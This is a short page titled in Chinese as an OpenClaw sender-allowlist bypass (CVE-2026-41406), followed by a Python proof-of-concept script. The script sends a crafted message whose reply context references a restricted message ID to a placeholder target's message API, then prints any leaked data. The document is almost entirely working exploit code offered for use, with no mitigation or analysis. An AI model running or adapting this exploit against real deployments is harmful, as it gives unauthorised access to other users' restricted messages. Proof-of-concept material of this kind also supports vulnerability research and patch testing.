CVE-2026-41406 OpenClaw发送者白名单绕过漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-41406 # This script demonstrates how to bypass the sender allowlist # by referencing a restricted message ID in a new message context. import requests TARGET_URL = "http://target-openclaw-instance/api/message" RESTRICTED_MSG_ID = "msg-restricted-123" # ID of the message to access def exploit(): headers = {"Content-Type": "application/json"} # Construct payload bypassing allowlist via context references payload = { "body": "Check this context", "context": { "type": "reply", "references": [RESTRICTED_MSG_ID] # Vulnerability trigger } } try: response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Restricted data leaked.") print("[+] Data:", response.text) else: print("[-] Request failed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()